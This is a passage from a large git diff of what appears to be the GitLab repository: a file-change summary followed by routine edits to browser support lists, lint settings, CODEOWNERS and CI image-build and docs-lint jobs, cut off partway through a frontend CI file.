-rw-r--r--spec/services/jira/requests/projects/list_service_spec.rb20
-rw-r--r--spec/services/jira_connect/sync_service_spec.rb1
-rw-r--r--spec/services/jira_connect_installations/destroy_service_spec.rb41
-rw-r--r--spec/services/jira_import/start_import_service_spec.rb5
-rw-r--r--spec/services/jira_import/users_importer_spec.rb12
-rw-r--r--spec/services/keys/destroy_service_spec.rb2
-rw-r--r--spec/services/markdown_content_rewriter_service_spec.rb2
-rw-r--r--spec/services/members/create_service_spec.rb3
-rw-r--r--spec/services/members/groups/creator_service_spec.rb16
-rw-r--r--spec/services/members/invite_service_spec.rb1
-rw-r--r--spec/services/members/projects/creator_service_spec.rb16
-rw-r--r--spec/services/merge_requests/build_service_spec.rb12
-rw-r--r--spec/services/merge_requests/handle_assignees_change_service_spec.rb4
-rw-r--r--spec/services/merge_requests/merge_service_spec.rb6
-rw-r--r--spec/services/merge_requests/push_options_handler_service_spec.rb101
-rw-r--r--spec/services/merge_requests/rebase_service_spec.rb31
-rw-r--r--spec/services/metrics/dashboard/annotations/create_service_spec.rb1
-rw-r--r--spec/services/metrics/dashboard/gitlab_alert_embed_service_spec.rb1
-rw-r--r--spec/services/metrics/users_starred_dashboards/create_service_spec.rb1
-rw-r--r--spec/services/namespace_settings/update_service_spec.rb65
-rw-r--r--spec/services/namespaces/in_product_marketing_emails_service_spec.rb46
-rw-r--r--spec/services/notes/copy_service_spec.rb1
-rw-r--r--spec/services/notes/create_service_spec.rb2
-rw-r--r--spec/services/notes/destroy_service_spec.rb1
-rw-r--r--spec/services/notes/post_process_service_spec.rb10
-rw-r--r--spec/services/notes/quick_actions_service_spec.rb1
-rw-r--r--spec/services/notes/update_service_spec.rb1
-rw-r--r--spec/services/notification_service_spec.rb69
-rw-r--r--spec/services/packages/composer/create_package_service_spec.rb1
-rw-r--r--spec/services/packages/conan/search_service_spec.rb1
-rw-r--r--spec/services/packages/create_package_file_service_spec.rb1
-rw-r--r--spec/services/packages/debian/find_or_create_package_service_spec.rb1
-rw-r--r--spec/services/packages/destroy_package_service_spec.rb61
-rw-r--r--spec/services/packages/maven/find_or_create_package_service_spec.rb2
-rw-r--r--spec/services/packages/nuget/metadata_extraction_service_spec.rb13
-rw-r--r--spec/services/packages/nuget/search_service_spec.rb1
-rw-r--r--spec/services/packages/nuget/update_package_from_metadata_service_spec.rb37
-rw-r--r--spec/services/packages/rubygems/dependency_resolver_service_spec.rb1
-rw-r--r--spec/services/pod_logs/base_service_spec.rb1
-rw-r--r--spec/services/pod_logs/elasticsearch_service_spec.rb1
-rw-r--r--spec/services/pod_logs/kubernetes_service_spec.rb1
-rw-r--r--spec/services/post_receive_service_spec.rb2
-rw-r--r--spec/services/projects/create_service_spec.rb102
-rw-r--r--spec/services/projects/destroy_rollback_service_spec.rb1
-rw-r--r--spec/services/projects/destroy_service_spec.rb1
-rw-r--r--spec/services/projects/gitlab_projects_import_service_spec.rb1
-rw-r--r--spec/services/projects/group_links/create_service_spec.rb5
-rw-r--r--spec/services/projects/group_links/destroy_service_spec.rb1
-rw-r--r--spec/services/projects/group_links/update_service_spec.rb83
-rw-r--r--spec/services/projects/lfs_pointers/lfs_download_service_spec.rb32
-rw-r--r--spec/services/projects/operations/update_service_spec.rb18
-rw-r--r--spec/services/projects/prometheus/alerts/notify_service_spec.rb6
-rw-r--r--spec/services/projects/protect_default_branch_service_spec.rb47
-rw-r--r--spec/services/projects/transfer_service_spec.rb83
-rw-r--r--spec/services/projects/update_pages_service_spec.rb1
-rw-r--r--spec/services/projects/update_repository_storage_service_spec.rb15
-rw-r--r--spec/services/projects/update_service_spec.rb55
-rw-r--r--spec/services/prometheus/create_default_alerts_service_spec.rb1
-rw-r--r--spec/services/prometheus/proxy_service_spec.rb2
-rw-r--r--spec/services/quick_actions/interpret_service_spec.rb1
-rw-r--r--spec/services/releases/create_evidence_service_spec.rb1
-rw-r--r--spec/services/releases/create_service_spec.rb15
-rw-r--r--spec/services/releases/destroy_service_spec.rb15
-rw-r--r--spec/services/releases/update_service_spec.rb15
-rw-r--r--spec/services/repositories/changelog_service_spec.rb2
-rw-r--r--spec/services/repositories/destroy_rollback_service_spec.rb1
-rw-r--r--spec/services/repositories/destroy_service_spec.rb1
-rw-r--r--spec/services/repositories/shell_destroy_service_spec.rb1
-rw-r--r--spec/services/resource_access_tokens/create_service_spec.rb27
-rw-r--r--spec/services/resource_access_tokens/revoke_service_spec.rb2
-rw-r--r--spec/services/resource_events/change_labels_service_spec.rb1
-rw-r--r--spec/services/resource_events/merge_into_notes_service_spec.rb1
-rw-r--r--spec/services/security/ci_configuration/sast_parser_service_spec.rb12
-rw-r--r--spec/services/service_ping/build_payload_service_spec.rb47
-rw-r--r--spec/services/service_ping/permit_data_categories_service_spec.rb67
-rw-r--r--spec/services/service_ping/submit_service_ping_service_spec.rb319
-rw-r--r--spec/services/snippets/bulk_destroy_service_spec.rb1
-rw-r--r--spec/services/snippets/create_service_spec.rb8
-rw-r--r--spec/services/snippets/update_repository_storage_service_spec.rb15
-rw-r--r--spec/services/snippets/update_service_spec.rb10
-rw-r--r--spec/services/spam/akismet_service_spec.rb2
-rw-r--r--spec/services/spam/ham_service_spec.rb1
-rw-r--r--spec/services/spam/spam_action_service_spec.rb133
-rw-r--r--spec/services/spam/spam_params_spec.rb40
-rw-r--r--spec/services/spam/spam_verdict_service_spec.rb5
-rw-r--r--spec/services/submit_usage_ping_service_spec.rb235
-rw-r--r--spec/services/system_note_service_spec.rb7
-rw-r--r--spec/services/system_notes/issuables_service_spec.rb3
-rw-r--r--spec/services/test_hooks/project_service_spec.rb2
-rw-r--r--spec/services/test_hooks/system_service_spec.rb1
-rw-r--r--spec/services/user_project_access_changed_service_spec.rb11
-rw-r--r--spec/services/users/approve_service_spec.rb1
-rw-r--r--spec/services/users/reject_service_spec.rb1
-rw-r--r--spec/services/users/validate_otp_service_spec.rb1
-rw-r--r--spec/services/web_hook_service_spec.rb13
-rw-r--r--spec/services/wiki_pages/create_service_spec.rb20
-rw-r--r--spec/services/wiki_pages/event_create_service_spec.rb1
-rw-r--r--spec/services/wiki_pages/update_service_spec.rb22
-rw-r--r--spec/spec_helper.rb21
-rw-r--r--spec/support/capybara.rb6
-rw-r--r--spec/support/gitlab_experiment.rb10
-rw-r--r--spec/support/helpers/ci/template_helpers.rb11
-rw-r--r--spec/support/helpers/cycle_analytics_helpers.rb10
-rw-r--r--spec/support/helpers/database/table_schema_helpers.rb20
-rw-r--r--spec/support/helpers/feature_flag_helpers.rb6
-rw-r--r--spec/support/helpers/features/admin_users_helpers.rb25
-rw-r--r--spec/support/helpers/features/editor_lite_spec_helpers.rb29
-rw-r--r--spec/support/helpers/features/invite_members_modal_helper.rb2
-rw-r--r--spec/support/helpers/features/snippet_helpers.rb11
-rw-r--r--spec/support/helpers/features/source_editor_spec_helpers.rb29
-rw-r--r--spec/support/helpers/features/top_nav_spec_helpers.rb2
-rw-r--r--spec/support/helpers/grafana_api_helpers.rb2
-rw-r--r--spec/support/helpers/javascript_fixtures_helpers.rb14
-rw-r--r--spec/support/helpers/jira_service_helper.rb4
-rw-r--r--spec/support/helpers/live_debugger.rb12
-rw-r--r--spec/support/helpers/merge_request_diff_helpers.rb4
-rw-r--r--spec/support/helpers/require_migration.rb4
-rw-r--r--spec/support/helpers/services_helper.rb11
-rw-r--r--spec/support/helpers/stub_experiments.rb2
-rw-r--r--spec/support/helpers/stub_spam_services.rb23
-rw-r--r--spec/support/helpers/stubbed_feature.rb22
-rw-r--r--spec/support/helpers/test_env.rb86
-rw-r--r--spec/support/matchers/be_executed.rb11
-rw-r--r--spec/support/matchers/have_issuable_counts.rb2
-rw-r--r--spec/support/matchers/usage_metric_matchers.rb21
-rw-r--r--spec/support/omniauth_strategy.rb12
-rw-r--r--spec/support/redis/redis_helpers.rb8
-rw-r--r--spec/support/services/issuable_import_csv_service_shared_examples.rb20
-rw-r--r--spec/support/shared_contexts/features/integrations/integrations_shared_context.rb62
-rw-r--r--spec/support/shared_contexts/navbar_structure_context.rb165
-rw-r--r--spec/support/shared_contexts/policies/project_policy_shared_context.rb4
-rw-r--r--spec/support/shared_contexts/requests/api/graphql/jira_import/jira_projects_context.rb4
-rw-r--r--spec/support/shared_contexts/services/service_ping/stubbed_service_ping_metrics_definitions_shared_context.rb43
-rw-r--r--spec/support/shared_contexts/unique_ip_check_shared_context.rb6
-rw-r--r--spec/support/shared_examples/ci/edit_job_token_scope_shared_examples.rb40
-rw-r--r--spec/support/shared_examples/controllers/access_tokens_controller_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/controllers/wiki_actions_shared_examples.rb44
-rw-r--r--spec/support/shared_examples/features/cascading_settings_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/features/packages_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/features/search/search_timeouts_shared_examples.rb21
-rw-r--r--spec/support/shared_examples/features/sidebar_shared_examples.rb8
-rw-r--r--spec/support/shared_examples/features/wiki/user_creates_wiki_page_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/features/wiki/user_deletes_wiki_page_shared_examples.rb26
-rw-r--r--spec/support/shared_examples/features/wiki/user_updates_wiki_page_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/graphql/design_fields_shared_examples.rb1
-rw-r--r--spec/support/shared_examples/graphql/mutations/can_mutate_spammable_examples.rb12
-rw-r--r--spec/support/shared_examples/graphql/spam_protection_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/lib/cache_helpers_shared_examples.rb101
-rw-r--r--spec/support/shared_examples/lib/gitlab/cycle_analytics/event_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/lib/gitlab/import_export/relation_factory_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/lib/gitlab/kubernetes/network_policy_common_shared_examples.rb3
-rw-r--r--spec/support/shared_examples/lib/gitlab/search_results_sorted_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb41
-rw-r--r--spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/models/chat_integration_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/models/concerns/integrations/slack_mattermost_notifier_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/models/cycle_analytics_stage_shared_examples.rb16
-rw-r--r--spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb6
-rw-r--r--spec/support/shared_examples/models/integrations/has_web_hook_shared_examples.rb97
-rw-r--r--spec/support/shared_examples/models/issue_tracker_service_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/models/member_shared_examples.rb256
-rw-r--r--spec/support/shared_examples/models/project_ci_cd_settings_shared_examples.rb54
-rw-r--r--spec/support/shared_examples/models/wiki_shared_examples.rb95
-rw-r--r--spec/support/shared_examples/namespaces/traversal_examples.rb96
-rw-r--r--spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/quick_actions/issuable/time_tracking_quick_action_shared_examples.rb18
-rw-r--r--spec/support/shared_examples/requests/api/debian_packages_shared_examples.rb13
-rw-r--r--spec/support/shared_examples/requests/api/graphql/noteable_shared_examples.rb22
-rw-r--r--spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb229
-rw-r--r--spec/support/shared_examples/requests/api/nuget_packages_shared_examples.rb136
-rw-r--r--spec/support/shared_examples/requests/api/packages_shared_examples.rb10
-rw-r--r--spec/support/shared_examples/services/alert_management/alert_processing/alert_firing_shared_examples.rb4
-rw-r--r--spec/support/shared_examples/services/alert_management/alert_processing/incident_creation_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb25
-rw-r--r--spec/support/shared_examples/services/jira_import/user_mapper_services_shared_examples.rb2
-rw-r--r--spec/support/shared_examples/services/packages_shared_examples.rb1
-rw-r--r--spec/support/shared_examples/services/projects/update_repository_storage_service_shared_examples.rb15
-rw-r--r--spec/support/shared_examples/services/service_ping/complete_service_ping_payload_shared_examples.rb9
-rw-r--r--spec/support/shared_examples/services/service_ping/service_ping_payload_with_all_expected_metrics_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/services/service_ping/service_ping_payload_without_restricted_metrics_shared_examples.rb11
-rw-r--r--spec/support/shared_examples/services/snippets_shared_examples.rb74
-rw-r--r--spec/support/shared_examples/services/wikis/create_attachment_service_shared_examples.rb19
-rw-r--r--spec/support/shared_examples/workers/in_product_marketing_email_shared_example.rb15
-rw-r--r--spec/support/sidekiq.rb21
-rw-r--r--spec/tasks/cache/clear/redis_spec.rb2
-rw-r--r--spec/tasks/gitlab/backup_rake_spec.rb23
-rw-r--r--spec/tasks/gitlab/db_rake_spec.rb55
-rw-r--r--spec/tasks/gitlab/packages/composer_rake_spec.rb1
-rw-r--r--spec/tasks/gitlab/snippets_rake_spec.rb1
-rw-r--r--spec/tooling/danger/feature_flag_spec.rb20
-rw-r--r--spec/tooling/danger/project_helper_spec.rb43
-rw-r--r--spec/tooling/lib/tooling/kubernetes_client_spec.rb91
-rw-r--r--spec/uploaders/content_type_whitelist_spec.rb1
-rw-r--r--spec/uploaders/dependency_proxy/file_uploader_spec.rb2
-rw-r--r--spec/views/admin/application_settings/_eks.html.haml_spec.rb1
-rw-r--r--spec/views/admin/application_settings/_package_registry.html.haml_spec.rb1
-rw-r--r--spec/views/admin/application_settings/ci_cd.html.haml_spec.rb56
-rw-r--r--spec/views/admin/application_settings/repository.html.haml_spec.rb2
-rw-r--r--spec/views/devise/sessions/new.html.haml_spec.rb26
-rw-r--r--spec/views/groups/_home_panel.html.haml_spec.rb26
-rw-r--r--spec/views/groups/runners/_group_runners.html.haml_spec.rb43
-rw-r--r--spec/views/groups/settings/_transfer.html.haml_spec.rb17
-rw-r--r--spec/views/help/show.html.haml_spec.rb2
-rw-r--r--spec/views/layouts/_head.html.haml_spec.rb2
-rw-r--r--spec/views/layouts/_search.html.haml_spec.rb9
-rw-r--r--spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb51
-rw-r--r--spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb347
-rw-r--r--spec/views/projects/_flash_messages.html.haml_spec.rb69
-rw-r--r--spec/views/projects/_home_panel.html.haml_spec.rb32
-rw-r--r--spec/views/projects/empty.html.haml_spec.rb1
-rw-r--r--spec/views/projects/pipelines/show.html.haml_spec.rb1
-rw-r--r--spec/views/projects/runners/_specific_runners.html.haml_spec.rb43
-rw-r--r--spec/views/projects/services/_form.haml_spec.rb2
-rw-r--r--spec/views/projects/settings/operations/show.html.haml_spec.rb6
-rw-r--r--spec/views/search/_results.html.haml_spec.rb3
-rw-r--r--spec/views/shared/_global_alert.html.haml_spec.rb85
-rw-r--r--spec/views/shared/_label_row.html.haml_spec.rb3
-rw-r--r--spec/views/shared/milestones/_top.html.haml_spec.rb1
-rw-r--r--spec/workers/authorized_project_update/user_refresh_from_replica_worker_spec.rb65
-rw-r--r--spec/workers/build_finished_worker_spec.rb15
-rw-r--r--spec/workers/build_queue_worker_spec.rb1
-rw-r--r--spec/workers/bulk_imports/export_request_worker_spec.rb5
-rw-r--r--spec/workers/ci/archive_trace_worker_spec.rb33
-rw-r--r--spec/workers/ci/build_finished_worker_spec.rb76
-rw-r--r--spec/workers/ci/resource_groups/assign_resource_from_resource_group_worker_spec.rb18
-rw-r--r--spec/workers/clusters/applications/activate_service_worker_spec.rb22
-rw-r--r--spec/workers/clusters/applications/deactivate_service_worker_spec.rb32
-rw-r--r--spec/workers/concerns/application_worker_spec.rb71
-rw-r--r--spec/workers/concerns/gitlab/github_import/object_importer_spec.rb33
-rw-r--r--spec/workers/concerns/waitable_worker_spec.rb6
-rw-r--r--spec/workers/container_expiration_policies/cleanup_container_repository_worker_spec.rb45
-rw-r--r--spec/workers/container_expiration_policy_worker_spec.rb35
-rw-r--r--spec/workers/database/partition_management_worker_spec.rb29
-rw-r--r--spec/workers/every_sidekiq_worker_spec.rb5
-rw-r--r--spec/workers/expire_pipeline_cache_worker_spec.rb1
-rw-r--r--spec/workers/gitlab/github_import/import_diff_note_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_issue_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_note_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/import_pull_request_merged_by_worker_spec.rb8
-rw-r--r--spec/workers/gitlab/github_import/import_pull_request_review_worker_spec.rb8
-rw-r--r--spec/workers/gitlab/github_import/import_pull_request_worker_spec.rb2
-rw-r--r--spec/workers/gitlab/github_import/stage/finish_import_worker_spec.rb4
-rw-r--r--spec/workers/gitlab/jira_import/stage/import_issues_worker_spec.rb4
-rw-r--r--spec/workers/gitlab/jira_import/stage/import_labels_worker_spec.rb4
-rw-r--r--spec/workers/gitlab_service_ping_worker_spec.rb50
-rw-r--r--spec/workers/gitlab_usage_ping_worker_spec.rb50
-rw-r--r--spec/workers/jira_connect/forward_event_worker_spec.rb56
-rw-r--r--spec/workers/jira_connect/sync_branch_worker_spec.rb78
-rw-r--r--spec/workers/jira_connect/sync_builds_worker_spec.rb5
-rw-r--r--spec/workers/jira_connect/sync_deployments_worker_spec.rb5
-rw-r--r--spec/workers/jira_connect/sync_feature_flags_worker_spec.rb5
-rw-r--r--spec/workers/jira_connect/sync_merge_request_worker_spec.rb35
-rw-r--r--spec/workers/jira_connect/sync_project_worker_spec.rb73
-rw-r--r--spec/workers/merge_request_cleanup_refs_worker_spec.rb89
-rw-r--r--spec/workers/namespaces/in_product_marketing_emails_worker_spec.rb39
-rw-r--r--spec/workers/packages/helm/extraction_worker_spec.rb92
-rw-r--r--spec/workers/partition_creation_worker_spec.rb27
-rw-r--r--spec/workers/pipeline_hooks_worker_spec.rb1
-rw-r--r--spec/workers/post_receive_spec.rb7
-rw-r--r--spec/workers/project_service_worker_spec.rb14
-rw-r--r--spec/workers/projects/post_creation_worker_spec.rb36
-rw-r--r--spec/workers/propagate_integration_group_worker_spec.rb4
-rw-r--r--spec/workers/propagate_integration_inherit_descendant_worker_spec.rb4
-rw-r--r--spec/workers/propagate_integration_inherit_worker_spec.rb6
-rw-r--r--spec/workers/propagate_integration_project_worker_spec.rb4
-rw-r--r--spec/workers/remove_expired_group_links_worker_spec.rb2
-rw-r--r--spec/workers/schedule_merge_request_cleanup_refs_worker_spec.rb25
-rw-r--r--spec/workers/users/deactivate_dormant_users_worker_spec.rb12
-rw-r--r--storybook/.gitignore2
-rw-r--r--storybook/config/main.js10
-rw-r--r--storybook/config/preview.js7
-rw-r--r--storybook/config/webpack.config.js104
-rw-r--r--storybook/package.json20
-rw-r--r--storybook/yarn.lock10766
-rw-r--r--tooling/danger/feature_flag.rb11
-rw-r--r--tooling/danger/product_intelligence.rb5
-rw-r--r--tooling/danger/project_helper.rb10
-rw-r--r--tooling/lib/tooling/kubernetes_client.rb49
-rw-r--r--vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScroller.vue6
-rw-r--r--vendor/assets/javascripts/vue-virtual-scroller/src/components/DynamicScrollerItem.vue9
-rw-r--r--vendor/assets/javascripts/vue-virtual-scroller/src/components/RecycleScroller.vue53
-rw-r--r--vendor/project_templates/cluster_management.tar.gzbin12723 -> 12981 bytes
-rw-r--r--workhorse/config_test.go32
-rw-r--r--workhorse/internal/api/api.go46
-rw-r--r--workhorse/internal/api/api_test.go74
-rw-r--r--workhorse/internal/upstream/routes.go7
-rw-r--r--workhorse/internal/upstream/upstream.go33
-rw-r--r--workhorse/main.go13
-rw-r--r--yarn.lock507
6327 files changed, 201194 insertions, 137983 deletions
diff --git a/.browserslistrc b/.browserslistrc
index 3ae7766c325..a608ac7c734 100644
--- a/.browserslistrc
+++ b/.browserslistrc
@@ -1,16 +1,16 @@
#
-# This list of browsers is a conservative first definition, based on
+# This list of browsers is a conservative definition, based on
# https://docs.gitlab.com/ee/install/requirements.html#supported-web-browsers
# with the following reasoning:
#
-# - Edge: Pick the last two major version before the Chrome switch
-# - Rest: We should support the latest ESR of Firefox: 68, because it used quite a lot.
-# For the rest, pick browser versions that have a similar age to Firefox 68.
+# - We should support the latest ESR of Firefox: 78, because it used quite a lot.
+# - We use Edge/Chrome >= 84 because 83 had an annoying bug which would mean we
+# need to polyfill Array.reduce: https://bugs.chromium.org/p/chromium/issues/detail?id=1049982
+# - Safari 13.1 because it is the current minor version of the previous major version
#
-# See also this follow-up epic:
-# https://gitlab.com/groups/gitlab-org/-/epics/3957
+# See also this epic: https://gitlab.com/groups/gitlab-org/-/epics/3957
#
-chrome >= 73
-edge >= 17
-firefox >= 68
-safari >= 12
+chrome >= 84
+edge >= 84
+firefox >= 78
+safari >= 13.1
diff --git a/.eslintignore b/.eslintignore
index 73e11dfd974..7ca59654678 100644
--- a/.eslintignore
+++ b/.eslintignore
@@ -7,3 +7,4 @@
/public/
/tmp/
/vendor/
+/sitespeed-result/
diff --git a/.eslintrc.yml b/.eslintrc.yml
index b1a65df946a..b6abb574e19 100644
--- a/.eslintrc.yml
+++ b/.eslintrc.yml
@@ -107,3 +107,7 @@ overrides:
import/no-nodejs-modules: off
filenames/match-regex: off
no-console: off
+ - files:
+ - '*.stories.js'
+ rules:
+ filenames/match-regex: off
diff --git a/.gitignore b/.gitignore
index 323741575de..d1d2bfde1aa 100644
--- a/.gitignore
+++ b/.gitignore
@@ -45,7 +45,6 @@ eslint-report.html
/config/redis.trace_chunks.yml
/config/unicorn.rb
/config/puma.rb
-/config/puma_actioncable.rb
/config/secrets.yml
/config/sidekiq.yml
/config/registry.key
diff --git a/.gitlab/CODEOWNERS b/.gitlab/CODEOWNERS
index 361d1124a78..c7da1c5bebc 100644
--- a/.gitlab/CODEOWNERS
+++ b/.gitlab/CODEOWNERS
@@ -18,6 +18,7 @@
/doc/administration/monitoring/ @ngaskill
/doc/administration/operations/ @axil @eread @marcia
/doc/administration/packages/ @ngaskill
+/doc/administration/pages/ @axil @kpaizee
/doc/administration/postgresql/ @marcia
/doc/administration/raketasks/ @axil @eread
/doc/administration/redis/ @axil
@@ -213,17 +214,20 @@ Dangerfile @gl-quality/eng-prod
# Secure & Threat Management ownership delineation
# https://about.gitlab.com/handbook/engineering/development/threat-management/delineate-secure-threat-management.html#technical-boundaries
[Threat Insights]
+/app/finders/security/ @gitlab-org/secure/threat-insights-backend-team
/app/models/vulnerability.rb @gitlab-org/secure/threat-insights-backend-team
/ee/app/finders/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/models/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/app/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/app/presenters/projects/security/ @gitlab-org/secure/threat-insights-backend-team
/ee/lib/api/vulnerabilit*.rb @gitlab-org/secure/threat-insights-backend-team
/ee/lib/gitlab/ci/reports/security/vulnerability_reports_comparer.rb @gitlab-org/secure/threat-insights-backend-team
/ee/spec/lib/gitlab/ci/reports/security/vulnerability_reports_comparer_spec.rb @gitlab-org/secure/threat-insights-backend-team
/ee/spec/policies/vulnerabilities/ @gitlab-org/secure/threat-insights-backend-team
/ee/spec/policies/vulnerability*.rb @gitlab-org/secure/threat-insights-backend-team
+/ee/spec/presenters/projects/security/ @gitlab-org/secure/threat-insights-backend-team
[Secure]
/ee/lib/gitlab/ci/parsers/license_compliance/ @gitlab-org/secure/composition-analysis-be
@@ -232,6 +236,7 @@ Dangerfile @gl-quality/eng-prod
/ee/lib/gitlab/ci/reports/dependency_list/ @gitlab-org/secure/composition-analysis-be
/ee/lib/gitlab/ci/reports/license_scanning/ @gitlab-org/secure/composition-analysis-be
/ee/lib/gitlab/ci/reports/security/ @gitlab-org/secure/composition-analysis-be @gitlab-org/secure/dynamic-analysis-be @gitlab-org/secure/static-analysis-be @gitlab-org/secure/fuzzing-be
+/ee/app/services/ci/run_dast_scan_service.rb @gitlab-org/secure/dynamic-analysis-be
[Container Security]
/ee/app/views/projects/threat_monitoring/** @gitlab-org/protect/container-security-frontend
diff --git a/.gitlab/ci/build-images.gitlab-ci.yml b/.gitlab/ci/build-images.gitlab-ci.yml
index ed1f71e27bb..853f92ed98d 100644
--- a/.gitlab/ci/build-images.gitlab-ci.yml
+++ b/.gitlab/ci/build-images.gitlab-ci.yml
@@ -1,43 +1,48 @@
-# This image is used by the `review-qa-*` jobs. The image name is also passed to the downstream `omnibus-gitlab-mirror` pipeline
-# triggered by `package-and-qa` so that it doesn't have to rebuild it a second time. The downstream `omnibus-gitlab-mirror` pipeline
-# itself passes the image name to the `gitlab-qa-mirror` pipeline so that it can use it instead of inferring an end-to-end image
-# from the GitLab image built by the downstream `omnibus-gitlab-mirror` pipeline.
+.base-image-build:
+ extends: .use-kaniko
+ script:
+ # With .git/hooks/post-checkout in place, Git tries to pull LFS objects, but the image doesn't have Git LFS, and we actually don't care about it for this specific so we just remove the file.
+ # Without removing the file, the error is as follows: "This repository is configured for Git LFS but 'git-lfs' was not found on your path. If you no longer wish to use Git LFS, remove this hook by deleting .git/hooks/post-checkout."
+ - rm -f .git/hooks/post-checkout
+ - if [ -n "$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA" ]; then
+ echo "Checking out \$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA ($CI_MERGE_REQUEST_SOURCE_BRANCH_SHA) instead of \$CI_COMMIT_SHA (merge result commit $CI_COMMIT_SHA) so that GitLab image built in omnibus-gitlab-mirror and QA image are in sync.";
+ git checkout -f ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA};
+ else
+ echo "Building the image from \$CI_COMMIT_SHA ($CI_COMMIT_SHA) for this non-merge result pipeline.";
+ fi;
+ - echo "See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#with-pipeline-for-merged-results for more details.";
+ retry: 2
+
+# This image is used by:
+# - The `review-qa-*` jobs
+# - The downstream `omnibus-gitlab-mirror` pipeline triggered by `package-and-qa` so that it doesn't have to rebuild it again.
+# The downstream `omnibus-gitlab-mirror` pipeline itself passes the image name to the `gitlab-qa-mirror` pipeline so that
+# it can use it instead of inferring an end-to-end imag from the GitLab image built by the downstream `omnibus-gitlab-mirror` pipeline.
# See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#testing-code-in-merge-requests for more details.
build-qa-image:
extends:
- - .use-kaniko
+ - .base-image-build
- .build-images:rules:build-qa-image
stage: build-images
needs: []
variables:
QA_IMAGE: "${CI_REGISTRY}/${CI_PROJECT_PATH}/gitlab-ee-qa:${CI_COMMIT_REF_SLUG}"
script:
- # With .git/hooks/post-checkout in place, Git tries to pull LFS objects, but the image doesn't have Git LFS, and we actually don't care about it for this specific so we just remove the file.
- # Without removing the file, the error is as follows: "This repository is configured for Git LFS but 'git-lfs' was not found on your path. If you no longer wish to use Git LFS, remove this hook by deleting .git/hooks/post-checkout."
- - rm .git/hooks/post-checkout
- # Use $CI_MERGE_REQUEST_SOURCE_BRANCH_SHA so that GitLab image built in omnibus-gitlab-mirror and QA image are in sync.
- # This falls back to $CI_COMMIT_SHA (the default checked out commit) for the non-merged result pipelines.
- # See https://docs.gitlab.com/ee/development/testing_guide/end_to_end/index.html#with-pipeline-for-merged-results.
- - if [ -n "$CI_MERGE_REQUEST_SOURCE_BRANCH_SHA" ]; then
- git checkout -f ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA};
- fi
+ - !reference [.base-image-build, script]
- /kaniko/executor --context=${CI_PROJECT_DIR} --dockerfile=${CI_PROJECT_DIR}/qa/Dockerfile --destination=${QA_IMAGE} --cache=true
- retry: 2
# This image is used by:
# - The `CNG` pipelines (via the `review-build-cng` job): https://gitlab.com/gitlab-org/build/CNG/-/blob/cfc67136d711e1c8c409bf8e57427a644393da2f/.gitlab-ci.yml#L335
# - The `omnibus-gitlab` pipelines (via the `package-and-qa` job): https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/dfd1ad475868fc84e91ab7b5706aa03e46dc3a86/.gitlab-ci.yml#L130
build-assets-image:
extends:
- - .use-kaniko
+ - .base-image-build
- .build-images:rules:build-assets-image
stage: build-images
needs: ["compile-production-assets"]
- variables:
- GIT_DEPTH: "1"
script:
+ - !reference [.base-image-build, script]
# TODO: Change the image tag to be the MD5 of assets files and skip image building if the image exists
# We'll also need to pass GITLAB_ASSETS_TAG to the trigerred omnibus-gitlab pipeline similarly to how we do it for trigerred CNG pipelines
# https://gitlab.com/gitlab-org/gitlab/issues/208389
- run_timed_command "scripts/build_assets_image"
- retry: 2
diff --git a/.gitlab/ci/docs.gitlab-ci.yml b/.gitlab/ci/docs.gitlab-ci.yml
index a4317c72413..60025c244f1 100644
--- a/.gitlab/ci/docs.gitlab-ci.yml
+++ b/.gitlab/ci/docs.gitlab-ci.yml
@@ -53,7 +53,7 @@ docs-lint markdown:
docs-lint links:
extends:
- .docs:rules:docs-lint
- image: registry.gitlab.com/gitlab-org/gitlab-docs/lint-html:alpine-3.13-ruby-2.7.2
+ image: registry.gitlab.com/gitlab-org/gitlab-docs/lint-html:alpine-3.13-ruby-2.7.2-d2b92621
stage: test
needs: []
script:
diff --git a/.gitlab/ci/frontend.gitlab-ci.yml b/.gitlab/ci/frontend.gitlab-ci.yml
index dfd595c2696..3aa8ab1591a 100644
--- a/.gitlab/ci/frontend.gitlab-ci.yml
+++ b/.gitlab/ci/frontend.gitlab-ci.yml
@@ -2,6 +2,10 @@
- source scripts/utils.sh
- run_timed_command "retry yarn install --frozen-lockfile"
+.storybook-yarn-install: &storybook-yarn-install
+ - source scripts/utils.sh
+ - run_timed_command "retry yarn run storybook:install --frozen-lockfile"
+
